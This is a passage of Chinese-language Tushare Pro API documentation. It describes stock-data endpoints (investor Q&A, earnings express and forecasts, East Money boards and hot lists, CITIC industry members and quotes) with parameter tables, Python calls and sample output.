<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>股票代码</td>
</tr>
<tr>
<td>name</td>
<td>str</td>
<td>Y</td>
<td>公司名称</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>日期</td>
</tr>
<tr>
<td>q</td>
<td>str</td>
<td>Y</td>
<td>问题</td>
</tr>
<tr>
<td>a</td>
<td>str</td>
<td>Y</td>
<td>回复</td>
</tr>
<tr>
<td>pub_time</td>
<td>datetime</td>
<td>Y</td>
<td>回复时间</td>
</tr>
</tbody></table>
接口调用
```
pro = ts.pro_api()
#获取2025年2月12日上证e互动的问答文本
df = pro.irm_qa_sh(ann_date='20250212')
```
数据样例
```
ts_code name q a
0 601121.SH 宝地矿业 股价利多因素主要看基本面,关键是业绩,利空因素就是减持和低价增发,目前宝地的业绩难以抵消股东... 尊敬的投资者,您好!衷心感谢您对宝地矿业的关注与鞭策。公司将加快推进重点项目建设,做好生产经...
1 600615.SH 丰华股份 您好!我是一名城市居民,长期关注空气污染问题。想请问贵公司在日常经营过程中,是否采取了有效的... 尊敬的投资者您好!公司不属于重点排污单位。公司高度重视环境保护工作,采取有效措施不断提高环境...
2 600615.SH 丰华股份 公司镁合金等材料在机器人行业应用前景远大。公司是不是可以考虑加大在机器人方面的战略布局? 尊敬的投资者您好!镁合金材料在轻量化方面应用领域宽泛,目前公司的镁合金产品主要应用于交通工具...
3 601121.SH 宝地矿业 如果宝地矿业董事会看好自己公司的投资价值,为什么宁可委托申万宏源证券投资理财,也不用自有资金... 尊敬的投资者,您好。感谢您对宝地矿业的关注与建议。公司始终秉持稳健的财务管理和资金使用原则,...
4 600615.SH 丰华股份 尊敬的董秘您好,据报道人形机器人所使用除peek材料之外,最多的就是镁合金相关材质,请问公司... 尊敬的投资者您好!目前公司没有人形机器人项目储备,感谢您的关注!
.. ... ... ... ...
95 600423.SH 柳化股份 领导您好!我是一名心系环境的普通居民,长期对空气污染问题保持高度关注。请问贵公司在生产过程中... 投资者,您好!公司十分重视环境问题,积极推动节能减排理念,三废排放严格按照国家标准执行,具体...
96 600190.SH ST锦港 公司董事会,你公司2024之前问题很大,涉刑事等众多问题,公司必须发布或配合彻查业绩巨亏问题... 尊敬的投资者,您好!公司对相关事项进展将及时履行信息披露义务,请以公司对外披露的公告为准,感...
97 688120.SH 华海清科 你公司在国内行业的竞争优势有哪些?是否将这些优势转化为了公司的发展成果? 尊敬的投资者您好!公司是一家拥有核心自主知识产权的高端半导体装备制造商,产品主要应用于芯片制...
98 688120.SH 华海清科 你公司被看好或认可的地方在哪里? 尊敬的投资者您好!公司是一家拥有核心自主知识产权的高端半导体装备制造商,产品主要应用于芯片制...
99 600630.SH 龙头股份 请问公司接入微信小店已有一段时间,请问微信小店的销售情况如何? 尊敬的投资者,您好!公司旗下三枪品牌目前已入驻微信第三方平台有赞商城。您可在微信小程序搜索“...
```

View file

@ -1,251 +0,0 @@
# 业绩快报
**文档ID**: 46
**原始链接**: https://tushare.pro/document/2?doc_id=46
---
## 业绩快报
接口:express描述:获取上市公司业绩快报权限:用户需要至少2000积分才可以调取,具体请参阅积分获取办法提示:当前接口只能按单只股票获取其历史数据,如果需要获取某一季度全部上市公司数据,请使用express_vip接口(参数一致),需积攒5000积分。
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>股票代码</td>
</tr>
<tr>
<td>ann_date</td>
<td>str</td>
<td>N</td>
<td>公告日期</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>公告开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>公告结束日期</td>
</tr>
<tr>
<td>period</td>
<td>str</td>
<td>N</td>
<td>报告期(每个季度最后一天的日期,比如20171231表示年报,20170630半年报,20170930三季报)</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>TS股票代码</td>
</tr>
<tr>
<td>ann_date</td>
<td>str</td>
<td>公告日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>报告期</td>
</tr>
<tr>
<td>revenue</td>
<td>float</td>
<td>营业收入(元)</td>
</tr>
<tr>
<td>operate_profit</td>
<td>float</td>
<td>营业利润(元)</td>
</tr>
<tr>
<td>total_profit</td>
<td>float</td>
<td>利润总额(元)</td>
</tr>
<tr>
<td>n_income</td>
<td>float</td>
<td>净利润(元)</td>
</tr>
<tr>
<td>total_assets</td>
<td>float</td>
<td>总资产(元)</td>
</tr>
<tr>
<td>total_hldr_eqy_exc_min_int</td>
<td>float</td>
<td>股东权益合计(不含少数股东权益)(元)</td>
</tr>
<tr>
<td>diluted_eps</td>
<td>float</td>
<td>每股收益(摊薄)(元)</td>
</tr>
<tr>
<td>diluted_roe</td>
<td>float</td>
<td>净资产收益率(摊薄)(%)</td>
</tr>
<tr>
<td>yoy_net_profit</td>
<td>float</td>
<td>去年同期修正后净利润</td>
</tr>
<tr>
<td>bps</td>
<td>float</td>
<td>每股净资产</td>
</tr>
<tr>
<td>yoy_sales</td>
<td>float</td>
<td>同比增长率:营业收入</td>
</tr>
<tr>
<td>yoy_op</td>
<td>float</td>
<td>同比增长率:营业利润</td>
</tr>
<tr>
<td>yoy_tp</td>
<td>float</td>
<td>同比增长率:利润总额</td>
</tr>
<tr>
<td>yoy_dedu_np</td>
<td>float</td>
<td>同比增长率:归属母公司股东的净利润</td>
</tr>
<tr>
<td>yoy_eps</td>
<td>float</td>
<td>同比增长率:基本每股收益</td>
</tr>
<tr>
<td>yoy_roe</td>
<td>float</td>
<td>同比增减:加权平均净资产收益率</td>
</tr>
<tr>
<td>growth_assets</td>
<td>float</td>
<td>比年初增长率:总资产</td>
</tr>
<tr>
<td>yoy_equity</td>
<td>float</td>
<td>比年初增长率:归属母公司的股东权益</td>
</tr>
<tr>
<td>growth_bps</td>
<td>float</td>
<td>比年初增长率:归属于母公司股东的每股净资产</td>
</tr>
<tr>
<td>or_last_year</td>
<td>float</td>
<td>去年同期营业收入</td>
</tr>
<tr>
<td>op_last_year</td>
<td>float</td>
<td>去年同期营业利润</td>
</tr>
<tr>
<td>tp_last_year</td>
<td>float</td>
<td>去年同期利润总额</td>
</tr>
<tr>
<td>np_last_year</td>
<td>float</td>
<td>去年同期净利润</td>
</tr>
<tr>
<td>eps_last_year</td>
<td>float</td>
<td>去年同期每股收益</td>
</tr>
<tr>
<td>open_net_assets</td>
<td>float</td>
<td>期初净资产</td>
</tr>
<tr>
<td>open_bps</td>
<td>float</td>
<td>期初每股净资产</td>
</tr>
<tr>
<td>perf_summary</td>
<td>str</td>
<td>业绩简要说明</td>
</tr>
<tr>
<td>is_audit</td>
<td>int</td>
<td>是否审计: 1是 0否</td>
</tr>
<tr>
<td>remark</td>
<td>str</td>
<td>备注</td>
</tr>
</tbody></table>
接口用法
```
pro = ts.pro_api()
pro.express(ts_code='600000.SH', start_date='20180101', end_date='20180701', fields='ts_code,ann_date,end_date,revenue,operate_profit,total_profit,n_income,total_assets')
```
获取某一季度全部股票数据
```
df = pro.express_vip(period='20181231',fields='ts_code,ann_date,end_date,revenue,operate_profit,total_profit,n_income,total_assets')
```
数据样例
```
ts_code ann_date end_date revenue operate_profit total_profit n_income total_assets \
0 603535.SH 20180411 20180331 2.064659e+08 3.345047e+07 3.340047e+07 2.672643e+07 1.682111e+09
1 603535.SH 20180208 20171231 1.034262e+09 1.323373e+08 1.440493e+08 1.188325e+08 1.710466e+09
2 603535.SH 20171016 20170930 7.064117e+08 9.509520e+07 9.931530e+07 8.202480e+07 1.672986e+09
```

View file

@ -1,175 +0,0 @@
# 业绩预告
**文档ID**: 45
**原始链接**: https://tushare.pro/document/2?doc_id=45
---
## 业绩预告
接口:forecast,可以通过数据工具调试和查看数据。描述:获取业绩预告数据权限:用户需要至少2000积分才可以调取,具体请参阅积分获取办法提示:当前接口只能按单只股票获取其历史数据,如果需要获取某一季度全部上市公司数据,请使用forecast_vip接口(参数一致),需积攒5000积分。
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>股票代码(二选一)</td>
</tr>
<tr>
<td>ann_date</td>
<td>str</td>
<td>N</td>
<td>公告日期 (二选一)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>公告开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>公告结束日期</td>
</tr>
<tr>
<td>period</td>
<td>str</td>
<td>N</td>
<td>报告期(每个季度最后一天的日期,比如20171231表示年报,20170630半年报,20170930三季报)</td>
</tr>
<tr>
<td>type</td>
<td>str</td>
<td>N</td>
<td>预告类型(预增/预减/扭亏/首亏/续亏/续盈/略增/略减)</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>TS股票代码</td>
</tr>
<tr>
<td>ann_date</td>
<td>str</td>
<td>公告日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>报告期</td>
</tr>
<tr>
<td>type</td>
<td>str</td>
<td>业绩预告类型(预增/预减/扭亏/首亏/续亏/续盈/略增/略减)</td>
</tr>
<tr>
<td>p_change_min</td>
<td>float</td>
<td>预告净利润变动幅度下限(%)</td>
</tr>
<tr>
<td>p_change_max</td>
<td>float</td>
<td>预告净利润变动幅度上限(%)</td>
</tr>
<tr>
<td>net_profit_min</td>
<td>float</td>
<td>预告净利润下限(万元)</td>
</tr>
<tr>
<td>net_profit_max</td>
<td>float</td>
<td>预告净利润上限(万元)</td>
</tr>
<tr>
<td>last_parent_net</td>
<td>float</td>
<td>上年同期归属母公司净利润</td>
</tr>
<tr>
<td>first_ann_date</td>
<td>str</td>
<td>首次公告日</td>
</tr>
<tr>
<td>summary</td>
<td>str</td>
<td>业绩预告摘要</td>
</tr>
<tr>
<td>change_reason</td>
<td>str</td>
<td>业绩变动原因</td>
</tr>
</tbody></table>
接口用法
```
pro = ts.pro_api()
pro.forecast(ann_date='20190131', fields='ts_code,ann_date,end_date,type,p_change_min,p_change_max,net_profit_min')
```
获取某一季度全部股票数据
```
df = pro.forecast_vip(period='20181231',fields='ts_code,ann_date,end_date,type,p_change_min,p_change_max,net_profit_min')
```
数据样例
```
ts_code ann_date end_date type p_change_min p_change_max \
0 000005.SZ 20190131 20181231 预增 618.5600 945.1800
1 000825.SZ 20190131 20181231 略增 3.8500 12.5100
2 000566.SZ 20190131 20181231 预增 50.0000 100.0000
3 000932.SZ 20190131 20181231 预增 60.8864 68.1664
4 000557.SZ 20190131 20181231 预增 66.6800 66.6800
5 600127.SH 20190131 20181231 首亏 -601.5517 -510.3604
6 600159.SH 20190131 20181231 预增 315.0000 315.0000
7 600963.SH 20190131 20181231 略增 2.3800 11.5800
8 002336.SZ 20190131 20181231 续亏 33.1367 47.9952
9 601608.SH 20190131 20181231 预增 228.5900 274.5700
10 600531.SH 20190131 20181231 预减 -61.8800 -54.3200
11 300200.SZ 20190131 20181231 预增 82.4000 112.4000
12 300441.SZ 20190131 20181231 略减 -20.5100 -0.6400
13 300157.SZ 20190131 20181231 扭亏 107.3969 108.5176
14 300052.SZ 20190131 20181231 略减 -30.0000 0.0000
15 002328.SZ 20190131 20181231 略增 0.0000 20.0000
16 300420.SZ 20190131 20181231 预增 61.1500 90.8000
17 300109.SZ 20190131 20181231 续盈 -13.8100 7.7300
18 300479.SZ 20190131 20181231 略减 -35.8400 -6.6700
19 000402.SZ 20190131 20181231 略增 1.0000 10.0000
20 002626.SZ 20190131 20181231 略增 37.1200 47.6600
```

View file

@ -1,141 +0,0 @@
# 东方财富App热榜
**文档ID**: 321
**原始链接**: https://tushare.pro/document/2?doc_id=321
---
## 东方财富热板
接口:dc_hot描述:获取东方财富App热榜数据,包括A股市场、ETF基金、港股市场、美股市场等等,每日盘中提取4次,收盘后4次,最晚22点提取一次。限量:单次最大2000条,可根据日期等参数循环获取全部数据积分:用户积8000积分可调取使用,积分获取办法请参阅积分获取办法注意:本接口只限个人学习和研究使用,如需商业用途,请自行联系东方财富解决数据采购问题。
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期</td>
</tr>
<tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>TS代码</td>
</tr>
<tr>
<td>market</td>
<td>str</td>
<td>N</td>
<td>类型(A股市场、ETF基金、港股市场、美股市场)</td>
</tr>
<tr>
<td>hot_type</td>
<td>str</td>
<td>N</td>
<td>热点类型(人气榜、飙升榜)</td>
</tr>
<tr>
<td>is_new</td>
<td>str</td>
<td>N</td>
<td>是否最新(默认Y,如果为N则为盘中和盘后阶段采集,具体时间可参考rank_time字段,状态N每小时更新一次,状态Y更新时间为22:30)</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日期</td>
</tr>
<tr>
<td>data_type</td>
<td>str</td>
<td>Y</td>
<td>数据类型</td>
</tr>
<tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>股票代码</td>
</tr>
<tr>
<td>ts_name</td>
<td>str</td>
<td>Y</td>
<td>股票名称</td>
</tr>
<tr>
<td>rank</td>
<td>int</td>
<td>Y</td>
<td>排行或者热度</td>
</tr>
<tr>
<td>pct_change</td>
<td>float</td>
<td>Y</td>
<td>涨跌幅%</td>
</tr>
<tr>
<td>current_price</td>
<td>float</td>
<td>Y</td>
<td>当前价</td>
</tr>
<tr>
<td>rank_time</td>
<td>str</td>
<td>Y</td>
<td>排行榜获取时间</td>
</tr>
</tbody></table>
接口示例
```
#获取查询月份券商金股
df = pro.dc_hot(trade_date='20240415', market='A股市场',hot_type='人气榜', fields='ts_code,ts_name,rank')
```
数据示例
```
ts_code ts_name rank
0 601099.SH 太平洋 1
1 601995.SH 中金公司 2
2 002235.SZ 安妮股份 3
3 601136.SH 首创证券 4
4 600127.SH 金健米业 5
.. ... ... ...
95 300675.SZ 建科院 96
96 601900.SH 南方传媒 97
97 600280.SH 中央商场 98
98 300898.SZ 熊猫乳品 99
99 600519.SH 贵州茅台 100
```
数据来源

View file

@ -1,104 +0,0 @@
# 东方财富概念成分
**文档ID**: 363
**原始链接**: https://tushare.pro/document/2?doc_id=363
---
## 东方财富板块成分
接口:dc_member描述:获取东方财富板块每日成分数据,可以根据概念板块代码和交易日期,获取历史成分限量:单次最大获取5000条数据,可以通过日期和代码循环获取权限:用户积累6000积分可调取,具体请参阅积分获取办法注意:本接口只限个人学习和研究使用,如需商业用途,请自行联系东方财富解决数据采购问题。
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>板块指数代码</td>
</tr>
<tr>
<td>con_code</td>
<td>str</td>
<td>N</td>
<td>成分股票代码</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期(YYYYMMDD格式)</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日期</td>
</tr>
<tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>概念代码</td>
</tr>
<tr>
<td>con_code</td>
<td>str</td>
<td>Y</td>
<td>成分代码</td>
</tr>
<tr>
<td>name</td>
<td>str</td>
<td>Y</td>
<td>成分股名称</td>
</tr>
</tbody></table>
接口示例
```
#获取东方财富2025年1月2日的人形机器人概念板块成分列表
df = pro.dc_member(trade_date='20250102', ts_code='BK1184.DC')
```
数据示例
```
trade_date ts_code con_code name
0 20250102 BK1184.DC 002117.SZ 东港股份
1 20250102 BK1184.DC 603662.SH 柯力传感
2 20250102 BK1184.DC 688165.SH 埃夫特-U
3 20250102 BK1184.DC 300660.SZ 江苏雷利
4 20250102 BK1184.DC 873593.BJ 鼎智科技
.. ... ... ... ...
59 20250102 BK1184.DC 002139.SZ 拓邦股份
60 20250102 BK1184.DC 301236.SZ 软通动力
61 20250102 BK1184.DC 601727.SH 上海电气
62 20250102 BK1184.DC 300432.SZ 富临精工
63 20250102 BK1184.DC 300843.SZ 胜蓝股份
```

View file

@ -1,160 +0,0 @@
# 东方财富概念板块
**文档ID**: 362
**原始链接**: https://tushare.pro/document/2?doc_id=362
---
## 东方财富概念板块
接口:dc_index描述:获取东方财富每个交易日的概念板块数据,支持按日期查询限量:单次最大可获取5000条数据,历史数据可根据日期循环获取权限:用户积累6000积分可调取,具体请参阅积分获取办法
注意:本接口只限个人学习和研究使用,如需商业用途,请自行联系东方财富解决数据采购问题。
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>指数代码(支持多个代码同时输入,用逗号分隔)</td>
</tr>
<tr>
<td>name</td>
<td>str</td>
<td>N</td>
<td>板块名称(例如:人形机器人)</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期(YYYYMMDD格式,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>概念代码</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日期</td>
</tr>
<tr>
<td>name</td>
<td>str</td>
<td>Y</td>
<td>概念名称</td>
</tr>
<tr>
<td>leading</td>
<td>str</td>
<td>Y</td>
<td>领涨股票名称</td>
</tr>
<tr>
<td>leading_code</td>
<td>str</td>
<td>Y</td>
<td>领涨股票代码</td>
</tr>
<tr>
<td>pct_change</td>
<td>float</td>
<td>Y</td>
<td>涨跌幅</td>
</tr>
<tr>
<td>leading_pct</td>
<td>float</td>
<td>Y</td>
<td>领涨股票涨跌幅</td>
</tr>
<tr>
<td>total_mv</td>
<td>float</td>
<td>Y</td>
<td>总市值(万元)</td>
</tr>
<tr>
<td>turnover_rate</td>
<td>float</td>
<td>Y</td>
<td>换手率</td>
</tr>
<tr>
<td>up_num</td>
<td>int</td>
<td>Y</td>
<td>上涨家数</td>
</tr>
<tr>
<td>down_num</td>
<td>int</td>
<td>Y</td>
<td>下降家数</td>
</tr>
</tbody></table>
接口示例
```
#获取东方财富2025年1月3日的概念板块列表
df = pro.dc_index(trade_date='20250103', fields='ts_code,name,turnover_rate,up_num,down_num')
```
数据示例
```
ts_code name turnover_rate up_num down_num
0 BK1186.DC 首发经济 8.3700 4 31
1 BK1185.DC 冰雪经济 4.0800 2 32
2 BK1184.DC 人形机器人 4.0800 2 62
3 BK1183.DC 谷子经济 4.6300 2 55
4 BK1182.DC 智谱AI 5.4000 0 33
.. ... ... ... ... ...
453 BK0498.DC AB股 1.7300 4 67
454 BK0494.DC 节能环保 2.1600 32 378
455 BK0493.DC 新能源 1.4800 19 184
456 BK0492.DC 煤化工 1.7000 16 56
457 BK0490.DC 军工 2.5200 32 465
```

View file

@ -1,164 +0,0 @@
# 东财概念和行业指数行情
**文档ID**: 382
**原始链接**: https://tushare.pro/document/2?doc_id=382
---
## 东财概念板块行情
接口:dc_daily描述:获取东财概念板块、行业指数板块、地域板块行情数据,历史数据开始于2020年限量:单次最大2000条数据,可根据日期参数循环获取权限:用户积累6000积分可调取,具体请参阅积分获取办法注意:本接口只限个人学习和研究使用,如需商业用途,请自行联系东方财富解决数据采购问题。
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>板块代码(格式:xxxxx.DC)</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期(格式:YYYYMMDD下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
<td>end_date</td>
<td>str</td>
<td>N</td>
<td>结束日期</td>
</tr>
<tr>
<td>idx_type</td>
<td>str</td>
<td>N</td>
<td>板块类型: 概念板块、行业板块、地域板块</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>板块代码</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>Y</td>
<td>交易日</td>
</tr>
<tr>
<td>close</td>
<td>float</td>
<td>Y</td>
<td>收盘点位</td>
</tr>
<tr>
<td>open</td>
<td>float</td>
<td>Y</td>
<td>开盘点位</td>
</tr>
<tr>
<td>high</td>
<td>float</td>
<td>Y</td>
<td>最高点位</td>
</tr>
<tr>
<td>low</td>
<td>float</td>
<td>Y</td>
<td>最低点位</td>
</tr>
<tr>
<td>change</td>
<td>float</td>
<td>Y</td>
<td>涨跌点位</td>
</tr>
<tr>
<td>pct_change</td>
<td>float</td>
<td>Y</td>
<td>涨跌幅</td>
</tr>
<tr>
<td>vol</td>
<td>float</td>
<td>Y</td>
<td>成交量</td>
</tr>
<tr>
<td>amount</td>
<td>float</td>
<td>Y</td>
<td>成交额</td>
</tr>
<tr>
<td>swing</td>
<td>float</td>
<td>Y</td>
<td>振幅</td>
</tr>
<tr>
<td>turnover_rate</td>
<td>float</td>
<td>Y</td>
<td>换手率</td>
</tr>
</tbody></table>
接口示例
```
#获取东方财富2025年5月13日概念板块行情
df = pro.dc_daily(trade_date='20250513')
```
数据示例
```
ts_code trade_date close open high low pct_change
0 BK1063.DC 20250513 792.5200 793.5200 795.0400 786.9000 0.8700
1 BK1051.DC 20250513 12408.8600 12510.2500 12573.2800 12350.8900 4.3700
2 BK0816.DC 20250513 65.8600 66.6700 67.0200 65.4500 3.7700
3 BK0547.DC 20250513 12810.7600 12745.7200 12823.3500 12691.3900 0.6000
4 BK1082.DC 20250513 1306.9800 1337.2300 1342.8900 1302.9700 -1.3900
.. ... ... ... ... ... ... ...
430 BK0915.DC 20250513 1136.7400 1159.1800 1162.3600 1133.9400 -1.0200
431 BK1084.DC 20250513 1481.1500 1514.2300 1517.7200 1476.3200 -0.6100
432 BK0957.DC 20250513 1277.3800 1295.2900 1303.0000 1275.1900 -0.3500
433 BK1156.DC 20250513 1350.4700 1356.8500 1372.2800 1344.9400 0.0100
434 BK0881.DC 20250513 1156.1600 1181.2600 1184.1800 1154.0800 -0.5700
```

View file

@ -1,204 +0,0 @@
# 中信行业成分
**文档ID**: 373
**原始链接**: https://tushare.pro/document/2?doc_id=373
---
## 中信行业成分
接口:ci_index_member描述:按三级分类提取中信行业成分,可提供某个分类的所有成分,也可按股票代码提取所属分类,参数灵活限量:单次最大5000行,总量不限制权限:用户需5000积分可调取,积分获取方法请参阅积分获取办法
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>l1_code</td>
<td>str</td>
<td>N</td>
<td>一级行业代码</td>
</tr>
<tr>
<td>l2_code</td>
<td>str</td>
<td>N</td>
<td>二级行业代码</td>
</tr>
<tr>
<td>l3_code</td>
<td>str</td>
<td>N</td>
<td>三级行业代码</td>
</tr>
<tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>股票代码</td>
</tr>
<tr>
<td>is_new</td>
<td>str</td>
<td>N</td>
<td>是否最新(默认为“Y是”)</td>
</tr>
</tbody></table>
输出参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>默认显示</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>l1_code</td>
<td>str</td>
<td>Y</td>
<td>一级行业代码</td>
</tr>
<tr>
<td>l1_name</td>
<td>str</td>
<td>Y</td>
<td>一级行业名称</td>
</tr>
<tr>
<td>l2_code</td>
<td>str</td>
<td>Y</td>
<td>二级行业代码</td>
</tr>
<tr>
<td>l2_name</td>
<td>str</td>
<td>Y</td>
<td>二级行业名称</td>
</tr>
<tr>
<td>l3_code</td>
<td>str</td>
<td>Y</td>
<td>三级行业代码</td>
</tr>
<tr>
<td>l3_name</td>
<td>str</td>
<td>Y</td>
<td>三级行业名称</td>
</tr>
<tr>
<td>ts_code</td>
<td>str</td>
<td>Y</td>
<td>成分股票代码</td>
</tr>
<tr>
<td>name</td>
<td>str</td>
<td>Y</td>
<td>成分股票名称</td>
</tr>
<tr>
<td>in_date</td>
<td>str</td>
<td>Y</td>
<td>纳入日期</td>
</tr>
<tr>
<td>out_date</td>
<td>str</td>
<td>Y</td>
<td>剔除日期</td>
</tr>
<tr>
<td>is_new</td>
<td>str</td>
<td>Y</td>
<td>是否最新Y是N否</td>
</tr>
</tbody></table>
接口示例
```
#获取二级分类元器件的成份股
df = pro.ci_index_member(l2_code='CI005835.CI', fields='l2_code,l1_name,ts_code,name')
#获取000001.SZ所属行业
df = pro.ci_index_member(ts_code='000001.SZ')
```
数据示例
```
l2_code l1_name ts_code name
0 CI005835.CI 电子 301628.SZ 强达电路
1 CI005835.CI 电子 920060.BJ 万源通
2 CI005835.CI 电子 301251.SZ 威尔高
3 CI005835.CI 电子 002552.SZ 宝鼎科技
4 CI005835.CI 电子 301566.SZ 达利凯普
5 CI005835.CI 电子 688519.SH 南亚新材
6 CI005835.CI 电子 603920.SH 世运电路
7 CI005835.CI 电子 603936.SH 博敏电子
8 CI005835.CI 电子 603989.SH 艾华集团
9 CI005835.CI 电子 688020.SH 方邦股份
10 CI005835.CI 电子 300852.SZ 四会富仕
11 CI005835.CI 电子 688655.SH 迅捷兴
12 CI005835.CI 电子 688183.SH 生益电子
13 CI005835.CI 电子 301132.SZ 满坤科技
14 CI005835.CI 电子 001389.SZ 广合科技
15 CI005835.CI 电子 002288.SZ *ST超华(退市)
16 CI005835.CI 电子 600563.SH 法拉电子
17 CI005835.CI 电子 603186.SH 华正新材
18 CI005835.CI 电子 603228.SH 景旺电子
19 CI005835.CI 电子 603328.SH 依顿电子
20 CI005835.CI 电子 000636.SZ 风华高科
21 CI005835.CI 电子 000823.SZ 超声电子
22 CI005835.CI 电子 002134.SZ 天津普林
23 CI005835.CI 电子 002138.SZ 顺络电子
24 CI005835.CI 电子 002199.SZ *ST东晶
25 CI005835.CI 电子 002436.SZ 兴森科技
26 CI005835.CI 电子 002463.SZ 沪电股份
27 CI005835.CI 电子 002484.SZ 江海股份
28 CI005835.CI 电子 002579.SZ 中京电子
29 CI005835.CI 电子 002618.SZ 丹邦退(退市)
30 CI005835.CI 电子 002636.SZ 金安国纪
31 CI005835.CI 电子 300814.SZ 中富电路
32 CI005835.CI 电子 300964.SZ 本川智能
33 CI005835.CI 电子 002815.SZ 崇达技术
34 CI005835.CI 电子 002859.SZ 洁美科技
35 CI005835.CI 电子 002913.SZ 奥士康
36 CI005835.CI 电子 002916.SZ 深南电路
37 CI005835.CI 电子 301366.SZ 一博科技
38 CI005835.CI 电子 300319.SZ 麦捷科技
39 CI005835.CI 电子 300408.SZ 三环集团
40 CI005835.CI 电子 300476.SZ 胜宏科技
41 CI005835.CI 电子 688630.SH 芯碁微装
42 CI005835.CI 电子 300975.SZ 商络电子
43 CI005835.CI 电子 837821.BJ 则成电子
44 CI005835.CI 电子 871981.BJ 晶赛科技
45 CI005835.CI 电子 300657.SZ 弘信电子
46 CI005835.CI 电子 301282.SZ 金禄电子
47 CI005835.CI 电子 300739.SZ 明阳电路
48 CI005835.CI 电子 600183.SH 生益科技
49 CI005835.CI 电子 600237.SH 铜峰电子
50 CI005835.CI 电子 603386.SH 骏亚科技
51 CI005835.CI 电子 605258.SH 协和电子
52 CI005835.CI 电子 300903.SZ 科翔股份
53 CI005835.CI 电子 605058.SH 澳弘电子
54 CI005835.CI 电子 301041.SZ 金百泽
```

View file

@ -1,154 +0,0 @@
# 中信行业指数日行情
**文档ID**: 308
**原始链接**: https://tushare.pro/document/2?doc_id=308
---
## 中信行业指数行情
接口:ci_daily描述:获取中信行业指数日线行情限量:单次最大4000条,可循环提取积分:5000积分可调取,可通过指数代码和日期参数循环获取所有数据
输入参数
<table>
<thead>
<tr>
<th>名称</th>
<th>类型</th>
<th>必选</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>ts_code</td>
<td>str</td>
<td>N</td>
<td>行业代码</td>
</tr>
<tr>
<td>trade_date</td>
<td>str</td>
<td>N</td>
<td>交易日期(YYYYMMDD格式,下同)</td>
</tr>
<tr>
<td>start_date</td>
<td>str</td>
<td>N</td>
<td>开始日期</td>
</tr>
<tr>
